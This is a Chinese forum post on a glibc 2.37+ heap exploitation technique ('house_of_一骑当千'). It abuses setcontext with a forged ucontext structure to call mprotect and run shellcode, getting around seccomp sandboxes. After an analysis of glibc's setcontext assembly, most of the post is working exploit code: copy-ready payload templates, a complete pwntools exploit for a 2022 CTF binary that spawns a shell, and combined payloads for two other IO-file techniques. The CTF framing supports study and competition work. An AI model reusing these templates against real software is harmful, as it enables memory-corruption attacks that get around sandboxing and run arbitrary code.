首页
社区
课程
招聘
[原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千
2023-2-10 12:09 21047

[原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千

2023-2-10 12:09
21047

感谢团队师傅的分享,本来这一篇我是不想公开的。

 

沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法。

一、setcontext+53之殇

setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdxsetcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。

 

 

setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdxrdx是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat等中rdx都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI出现很大一部分是解决了rdx的问题。house_of_emma也必须借助 house_of_KIWI才能绕过seccomp

 

以2.37以后还能使用的house_of_cat为例,对比源码和汇编可以发现,rdx之所以可控是因为,编译器在处理比较时使用了rdx

1
2
3
4
5
6
7
8
9
int
_IO_switch_to_wget_mode (FILE *fp)
{
    // 编译器在处理这一段时使用 rdx
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}
1
2
3
4
5
6
7
8
9
10
11
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx
  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>
 
  0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

当然,还可以使用mov rdx,[rdi+8];mov [rsp],rax;call [rdx+x]这种 magic_gadget 来绕过沙盒,因为每个版本的gadget并不完全相同,所以这也不是长久之计。
因为setcontext是汇编所写(下面会详写),显然rdi修复成rdx也是GNU有意而为,今后也可能被修改成rcx甚至r15靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?

二、ucontext函数族分析

1.函数族

研究setcontext之前,我们要知道一个函数族,就是ucontext 函数族,它包括以下函数。

1
2
3
4
int getcontext(ucontext_t *ucp);
int setcontext(const ucontext_t *ucp)
void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);
int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);
  1. getcontext用来获取用户上下文,
  2. setcontext用来设置用户上下文
  3. makecontext操作用户上下文,可以设置执行函数,本质调用`setcontext``
  4. swapcontext进行两个上下文的交换
 

显然,虽然说用户上下文这么高深的词语,其实就是一块内存中存储了一些必要的数据。

2.setcontext

以我们关注的setcontext为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
ENTRY(__setcontext)
    /* Save argument since syscall will destroy it.  */
    pushq    %rdi
    cfi_adjust_cfa_offset(8)
 
    /* Set the signal mask with
       rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8).  */
    leaq    oSIGMASK(%rdi), %rsi
    xorl    %edx, %edx
    movl    $SIG_SETMASK, %edi
    movl    $_NSIG8,%r10d
    movl    $__NR_rt_sigprocmask, %eax
    syscall
    /* Pop the pointer into RDX. The choice is arbitrary, but
       leaving RDI and RSI available for use later can avoid
       shuffling values.  */
    popq    %rdx   # 这是就是 rdi 向 rdx转换的关键。
    cfi_adjust_cfa_offset(-8)
    cmpq    $-4095, %rax        /* Check %rax for error.  */
    jae    SYSCALL_ERROR_LABEL    /* Jump to error handler if error.  */
 
    /* Restore the floating-point context.  Not the registers, only the
       rest.  */
    movq    oFPREGS(%rdx), %rcx
    fldenv    (%rcx)
    ldmxcsr oMXCSR(%rdx)
 
 
    /* Load the new stack pointer, the preserved registers and
       registers used for passing args.  */
    cfi_def_cfa(%rdx, 0)
    cfi_offset(%rbx,oRBX)
    cfi_offset(%rbp,oRBP)
    cfi_offset(%r12,oR12)
    cfi_offset(%r13,oR13)
    cfi_offset(%r14,oR14)
    cfi_offset(%r15,oR15)
    cfi_offset(%rsp,oRSP)
    cfi_offset(%rip,oRIP)
    /* 这里往下就是 setcontext+61 的地方*/
    movq    oRSP(%rdx), %rsp
    movq    oRBX(%rdx), %rbx
    movq    oRBP(%rdx), %rbp
    movq    oR12(%rdx), %r12
    movq    oR13(%rdx), %r13
    movq    oR14(%rdx), %r14
    movq    oR15(%rdx), %r15
 
#if SHSTK_ENABLED
    /* Check if shadow stack is enabled.  */
    testl    $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET
    jz    L(no_shstk)
 
    /* If the base of the target shadow stack is the same as the
       base of the current shadow stack, we unwind the shadow
       stack.  Otherwise it is a stack switch and we look for a
       restore token.  */
    movq    oSSP(%rdx), %rsi
    movq    %rsi, %rdi
 
    /* Get the base of the target shadow stack.  */
    movq    (oSSP + 8)(%rdx), %rcx
    cmpq    %fs:SSP_BASE_OFFSET, %rcx
    je    L(unwind_shadow_stack)
 
L(find_restore_token_loop):
    /* Look for a restore token.  */
    movq    -8(%rsi), %rax
    andq    $-8, %rax
    cmpq    %rsi, %rax
    je    L(restore_shadow_stack)
 
    /* Try the next slot.  */
    subq    $8, %rsi
    jmp    L(find_restore_token_loop)
 
L(restore_shadow_stack):
    /* Pop return address from the shadow stack since setcontext
       will not return*/
    movq    $1, %rax
    incsspq    %rax
 
    /* Use the restore stoken to restore the target shadow stack.  */
    rstorssp -8(%rsi)
 
    /* Save the restore token on the old shadow stack.  NB: This
       restore token may be checked by setcontext or swapcontext
       later.  */
    saveprevssp
 
    /* Record the new shadow stack base that was switched to.  */
    movq    (oSSP + 8)(%rdx), %rax
    movq    %rax, %fs:SSP_BASE_OFFSET
 
L(unwind_shadow_stack):
    rdsspq    %rcx
    subq    %rdi, %rcx
    je    L(skip_unwind_shadow_stack)
    negq    %rcx
    shrq    $3, %rcx
    movl    $255, %esi
L(loop):
    cmpq    %rsi, %rcx
    cmovb    %rcx, %rsi
    incsspq    %rsi
    subq    %rsi, %rcx
    ja    L(loop)
 
L(skip_unwind_shadow_stack):
    movq    oRSI(%rdx), %rsi
    movq    oRDI(%rdx), %rdi
    movq    oRCX(%rdx), %rcx
    movq    oR8(%rdx), %r8
    movq    oR9(%rdx), %r9
 
    /* Get the return address set with getcontext.  */
    movq    oRIP(%rdx), %r10
 
    /* Setup finally %rdx.  */
    movq    oRDX(%rdx), %rdx
 
    /* Check if return address is valid for the case when setcontext
       is invoked from __start_context with linked context.  */
    rdsspq    %rax
    cmpq    (%rax), %r10
    /* Clear RAX to indicate success.  NB: Don't use xorl to keep
       EFLAGS for jne.  */
    movl    $0, %eax
    jne    L(jmp)
    /* Return to the new context if return address valid.  */
    pushq    %r10
    ret
 
L(jmp):
    /* Jump to the new context directly.  */
    jmp    *%r10
 
L(no_shstk):
#endif
    /* The following ret should return to the address set with
    getcontext.  Therefore push the address on the stack.  */
    movq    oRIP(%rdx), %rcx
    pushq    %rcx
 
    movq    oRSI(%rdx), %rsi
    movq    oRDI(%rdx), %rdi
    movq    oRCX(%rdx), %rcx
    movq    oR8(%rdx), %r8
    movq    oR9(%rdx), %r9
 
    /* Setup finally %rdx.  */
    movq    oRDX(%rdx), %rdx
 
    /* End FDE here, we fall into another context.  */
    cfi_endproc
    cfi_startproc
 
    /* Clear rax to indicate success.  */
    xorl    %eax, %eax
    ret
PSEUDO_END(__setcontext)
 
weak_alias (__setcontext, setcontext)

三、ucontext结构体

ucontext函数族中可以看到存在ucontext类型的结构体,也就是传入setcontextrdi。这个结构体如下。

1
2
3
4
5
6
7
8
9
10
typedef struct ucontext_t
  {
    unsigned long int __ctx(uc_flags); // 1个字长
    struct ucontext_t *uc_link;//1个字长
    stack_t uc_stack; //3个字长
    mcontext_t uc_mcontext; //操作部分1
    sigset_t uc_sigmask; //操作部分2
    struct _libc_fpstate __fpregs_mem; //操作部分3
     __extension__ unsigned long long int __ssp[4];//操作部分4
  } ucontext_t;

setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。

1.uc_sigmask

这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。

2.uc_mcontext

这个就是存储寄存器的结构体,也是我们平时setcontext+53所使用的地方。结构体如下。

1
2
3
4
5
6
7
typedef struct
  {
    gregset_t __ctx(gregs);
    /* Note that fpregs is a pointer.  */
    fpregset_t __ctx(fpregs);
    __extension__ unsigned long long __reserved1 [8];
} mcontext_t;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
typedef greg_t gregset_t[__NGREG];
 
#ifdef __USE_GNU
/* Number of each register in the `gregset_t' array.  */
enum
{
  REG_R8 = 0,
# define REG_R8        REG_R8
  REG_R9,
# define REG_R9        REG_R9
  REG_R10,
# define REG_R10    REG_R10
  REG_R11,
# define REG_R11    REG_R11
  REG_R12,
# define REG_R12    REG_R12
  REG_R13,
# define REG_R13    REG_R13
  REG_R14,
# define REG_R14    REG_R14
  REG_R15,
# define REG_R15    REG_R15
  REG_RDI,
# define REG_RDI    REG_RDI
  REG_RSI,
# define REG_RSI    REG_RSI
  REG_RBP,
# define REG_RBP    REG_RBP
  REG_RBX,
# define REG_RBX    REG_RBX
  REG_RDX,
# define REG_RDX    REG_RDX
  REG_RAX,
# define REG_RAX    REG_RAX
  REG_RCX,
# define REG_RCX    REG_RCX
  REG_RSP,
# define REG_RSP    REG_RSP
  REG_RIP,
# define REG_RIP    REG_RIP
  REG_EFL,
# define REG_EFL    REG_EFL
  REG_CSGSFS,        /* Actually short cs, gs, fs, __pad0.  */
# define REG_CSGSFS    REG_CSGSFS
  REG_ERR,
# define REG_ERR    REG_ERR
  REG_TRAPNO,
# define REG_TRAPNO    REG_TRAPNO
  REG_OLDMASK,
# define REG_OLDMASK    REG_OLDMASK
  REG_CR2
# define REG_CR2    REG_CR2
};
#endif

有关数据设置和传统利用setcontext+53时一样即可。

3.__fpregs_mem

这个所对应的步骤为setcontext中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0

1
2
3
4
/* Restore the floating-point context.  Not the registers, only the
       rest.  */
    movq    oFPREGS(%rdx), %rcx
    fldenv    (%rcx)

4.__ssp

这个所对应的步骤为setcontext中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0

1
ldmxcsr oMXCSR(%rdx)

四、一骑当千

喜闻乐见的抄板子时间又到了。根据上面setcontext分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53一样的攻击效果。假设,没有禁用mprotect,只有一次的largebin_attack的情况来攻击IO,模板如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
ucontext =b''
ucontext += p64(0)*5
mprotect_len = 0x20000
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len     
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
 
# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址
padding = fake_io_file
payload_start_addr = fake_io_addr
# 0x2e8 下面的  print("IO_FILE len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = payload_start_addr + 0x2e8 + 0x10
__rip = mprotect_addr
ucontext += p64(0)*8
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写
print("ucontext len is:",hex(len(ucontext)))  # 0xe8
 
'''
ucontext = ucontext.ljust(0x128,b'\x00')
 
# 加载信号量 ,好像全是0也行 ,0x10个字长
ucontext += p64(0)*0x10
# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)
 
ucontext =ucontext.ljust(0x1c0,b'\x00')
 
# ucontext += p64(0x1f80)    # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行
'''
 
# payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始
payload = padding + ucontext
 
# 0x2e8 与 __rsp相呼应
print("IO_FILE len is",hex(len(payload))) 
# 自己写 shellcode
shellcode = """
 
"""
 
# largbin_attak 时需要 + 0x10
payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10)  
 
payload += bytes(asm(shellcode))

五、举个栗子

我们以2022强网拟态决赛_vpn为例(题目内部附件叫:pminote_mc)。题目虽然使用了llvm进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。

1
2
3
4
5
6
7
struct heap_manager{
    void * do_func;
    heap_content * content;   
}
struct heap_content{
    char content[size];
}

题目存在UAF,并且只能malloc5次。题目的唯一难度是是在显示程序上,他使用如下操作

1
print_note(heap_manager * heap_manager_1);

也就是说即使能够简单执行system(heap),由于heap的开始时函数地址,也是无法简单执行system("/bin/sh")

 

 

那么此时我们的攻击思路是

  1. 调用gets(heap),在heap处写入ucontext,同时在heap开头的函数处写入setcontext函数地址。
  2. 调用setcontext(heap)就可以直接执行想执行的内容。

需要说明的是由于题目没有seccomp,所以我的方法肯定是非预期解,然并卵我没有找到相关预期解是啥。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
import pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
menu_last_str = 'Your choice :'
add_heap_str = '1'
delete_heap_str = '2'
show_heap_str = '3'
 
def add_heap(size,content):
    ru(menu_last_str)
    sl(add_heap_str)
    ru('Note size :')
    s(str(size))
    ru('Content :')
    s(content)
 
 
def show_heap(index):
    ru(menu_last_str)
    sl(show_heap_str)
    ru('Index :')
    sl(str(index))
 
 
def delete_heap(index):
    ru(menu_last_str)
    sl(delete_heap_str)
    ru('Index :')
    sl(str(index))
 
 
def exit_pro():
    ru(menu_last_str)
    sl('5')
 
 
if __name__ == '__main__':
    pwn_arch = 'amd64'
    pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './pmlnote_mc'
    ip_port = '111.200.241.244:61080'
    __ip = ip_port.split(":")[0]
    __port = ip_port.split(":")[1]
    io = process(pwnfile)
    # io = remote(__ip, __port)
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    context.binary = pwnfile
    libcfile='/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libcfile)
 
    '''
    struct heap_manager{
        void * do_func;
        heap_content * content;   
    }
    struct heap_content{
        char content[size];
    }
    '''
 
 
    system_addr = 0x4006D0
    print_note_content = 0x400870
    print_note = 0x407700
    puts_addr =0x4006C0
    heap_list = 0x6116c0
    system_got = 0x611030
    stdout = 0x611680
    printf_sym =elf.sym["printf"]
    init = 0x409AC0
    add_heap(0x500,b"a"*0x10+b"/bin/sh\x00")
    add_heap(0x500,"b"*0x10)
    delete_heap(0)
    delete_heap(1)
    add_heap(0x10,p64(print_note_content)+p64(stdout))
    show_heap(0)
 
    stdout_addr = u64(ru("\n").ljust(8,b"\x00"))
    libc_base_addr = stdout_addr - 0x21a780
    print("libc_base_addr is :",hex(libc_base_addr))
    setcontext_addr = libc_base_addr + libc.sym["setcontext"]
    environ_addr = libc_base_addr +libc.sym["environ"]
    gets_addr = libc_base_addr +libc.sym["gets"]
    free_hook_addr = libc_base_addr +libc.sym["__free_hook"]
    unsortbin_addr = libc_base_addr + 0x219ce0
    mprotect_addr = libc_base_addr +libc.sym["mprotect"]
 
    delete_heap(2)
    add_heap(0x10,p64(print_note_content)+p64(heap_list))
    show_heap(0)
    heap_addr = u64(ru("\n").ljust(8,b"\x00")) - 0x2a0
    print("heap_addr is :",hex(heap_addr))
 
    delete_heap(3)  
    add_heap(0x10,p64(gets_addr)+p64(heap_addr-0x200))
    show_heap(0)
    ucontext =b''
    ucontext += p64(setcontext_addr)+p64(0)*4
    mprotect_len = 0x20000
    __rdi = heap_addr # heap_addr binsh_addr
    __rsi = mprotect_len     
    __rbp = heap_addr + mprotect_len
    __rbx = 0
    __rdx = 7
    __rcx = 0
    __rax = 0
 
    fake_io_addr = heap_addr + 0x2a0
    # 0x2e8 下面的  print("IO_FILE len is",hex(len(payload)))
    # largbin_attak 时需要 + 0x10
    __rsp = fake_io_addr + 0xe8
    __rip = mprotect_addr
    ucontext += p64(0)*8
    ucontext += p64(__rdi)
    ucontext += p64(__rsi)
    ucontext += p64(__rbp)
    ucontext += p64(__rbx)
    ucontext += p64(__rdx)
    ucontext += p64(__rcx)
    ucontext += p64(__rax)
    ucontext += p64(__rsp)
    ucontext += p64(__rip)
    ucontext = ucontext.ljust(0xe0,b'\x00')
    ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写
    print("ucontext len is:",hex(len(ucontext)))  # 0xe8
 
    payload = ucontext  
    print("IO_FILE len is",hex(len(payload)))  # 0x2e8 与 __rsp相呼应
    shellcode = asm(shellcraft.sh())
    payload += p64(fake_io_addr + len(payload) + 0x8# largbin_attak 时需要 + 0x10 
    payload += bytes(shellcode)
    pause()
    sl(payload)
    show_heap(0)
    itr()

六、连环战船

这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext的通用解决方案,结合EOP使用。

七、攻击方法完全体

就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶是很难有绕过沙盒的方法,但如果和house_of_一骑当千结合使用,沙盒绕过将是易如反掌。

1.houseof琴瑟琵琶 完全体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
fake_io_addr = heap_addr + 0x1390
obstack_ptr = fake_io_addr + 0x30
fake_io_file = b''
fake_io_file = fake_io_file.ljust(0x58,b'\x00')
fake_io_file += p64(setcontext_addr)  # 需要执行的函数
fake_io_file += p64(0)
fake_io_file += p64(fake_io_addr+0xe8# 执行函数的 rdi
fake_io_file += p64(1# obstack->use_extra_arg=1
fake_io_file += p64(heap_addr+0x2000# _IO_lock_t *_lock;
fake_io_file = fake_io_file.ljust(0xc8,b'\x00')
fake_io_file += p64(IO_obstack_jumps_addr + 0x20# 触发 _IO_obstack_xsputn;
fake_io_file += p64(obstack_ptr)  # struct obstack *obstack
print(hex(len(fake_io_file))) # 因为是largebin attack 所以: 0xd8=0xe8-0x10
# pause()
 
# 执行函数的 rdi 的地址所存储的内容
ucontext = b''
ucontext += p64(0)*13
mprotect_len = 0x20000
tcache_thead_size = 0x290
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len     
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
# heap_addr + tcache_thead_size + 0x10000  # systm 栈帧务必要足够长
# 0x1c8 对应第256行的  print("payload len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = fake_io_addr + 0x1c0  + 0x10
__rip = mprotect_addr #execve_addr #mprotect_addr
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00'
ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写
 
payload = fake_io_file + ucontext  
print("payload len is",hex(len(payload)))  # 0x1c0 与__rsp相呼应
# pause()
shellcode = asm(shellcraft.sh())
payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10# largbin_attak 时需要 +0x10
payload = payload + bytes(shellcode)

2.houseof魑魅魍魉 完全体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# largebin_attack 攻击 house_魑魅魍魉
# 模拟只有一次写入,payload 必须在前面写入
# 为确保正确执行,需要利用 COMPILE_WPRINTF==1 的模式
 
fake_io_addr = heap_addr + 0x1390
put_stream_offset = 0x30  # put_stream 距离 fake_io 的偏移
put_stream_addr = fake_io_addr + put_stream_offset
write_target_addr = memcpy_addr
target_value_offset = 0x200  # 需要执行的函数存储的地址距离 fake_io 的偏移
target_value_addr = fake_io_addr  + target_value_offset
 
 
IO_wide_data_addr = fake_io_addr + 0xe0 # len(IO_IFLE) 利用原有的宽字符
# 再一次执行到 memcpy时rdi的地址
rdi_offset = 0xf  # 因为 _IO_write_ptr 会加1,此处确保内存对齐
rdi_ucontext_addr = target_value_addr + rdi_offset
# more_len > count_len > 0x20 可以再次执行 memcpy
more_len = 0x80*8   # 为什么 IO_help_jump_0_ 里面还要在右边移位2位??
count_len= 0x28 # 要大于0x20
_flags = 0x400 #_flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;
 
 
fake_io_file = b""
fake_io_file = fake_io_file.ljust(0x20,b'\x00')
fake_io_file += p64(_flags) # 此处是 put_stream 起始地址; _flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;
fake_io_file += p64(rdi_ucontext_addr)
fake_io_file += p64(0)*2
fake_io_file += p64(write_target_addr - 0x20)
fake_io_file += p64(write_target_addr)
fake_io_file += p64(write_target_addr + count_len)
fake_io_file += p64(0)
# 用于绕过  if (pos >= (size_t) (_IO_blen (fp) + flush_only)) 不执行malloc
fake_io_file += p64((1<<64)-1)
fake_io_file += p64(0)*2
fake_io_file += p64(heap_addr+0x2000) #可写
fake_io_file += p64(0)*2
fake_io_file += p64(IO_wide_data_addr)
fake_io_file = fake_io_file.ljust(0xc8,b'\x00')
fake_io_file += p64(IO_help_jump_0_addr)
fake_io_file += p64(0)
fake_io_file += p64(heap_addr+0x2000) #可写
fake_io_file += p64(0)
fake_io_file += p64(target_value_addr)
fake_io_file += p64(target_value_addr + more_len)
fake_io_file += p64(IO_str_jumps_addr)
fake_io_file = fake_io_file.ljust(0x1b8,b'\x00')
fake_io_file += p64(put_stream_addr)
fake_io_file = fake_io_file.ljust(target_value_offset - 0x10,b"\x00"# largbin_attak 时需要 - 0x10
 
# 需要执行的函数是 setcontext,距离 fake_io 的偏移为 target_value_offset
fake_io_file += p64(setcontext_addr) + p64(0)   # 此段长度为 0x10 与 rdi_offset 对应
 
 
ucontext =b""
ucontext += p64(0)*13
mprotect_len = 0x20000
tcache_thead_size = 0x290
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len 
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
# heap_addr + tcache_thead_size + 0x10000  # systm 栈帧务必要足够长
# 0x2e8 下面的  print("payload len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = fake_io_addr + 0x2e8 + 0x10
__rip = mprotect_addr #execve_addr #mprotect_addr
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')  
ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写
 
 
payload = fake_io_file + ucontext  
print("payload len is",hex(len(payload)))  # 0x2e8 与__rsp相呼应
shellcode = asm(shellcraft.sh())
payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10# largbin_attak 时需要 + 0x10 
payload += bytes(shellcode)

3.其他

同理,其他IO板子绝大部分都能够与house_of_一骑当千配合使用,一通百通,就不再赘述。


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2023-3-26 20:01 被我超啊编辑 ,原因: 错字
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回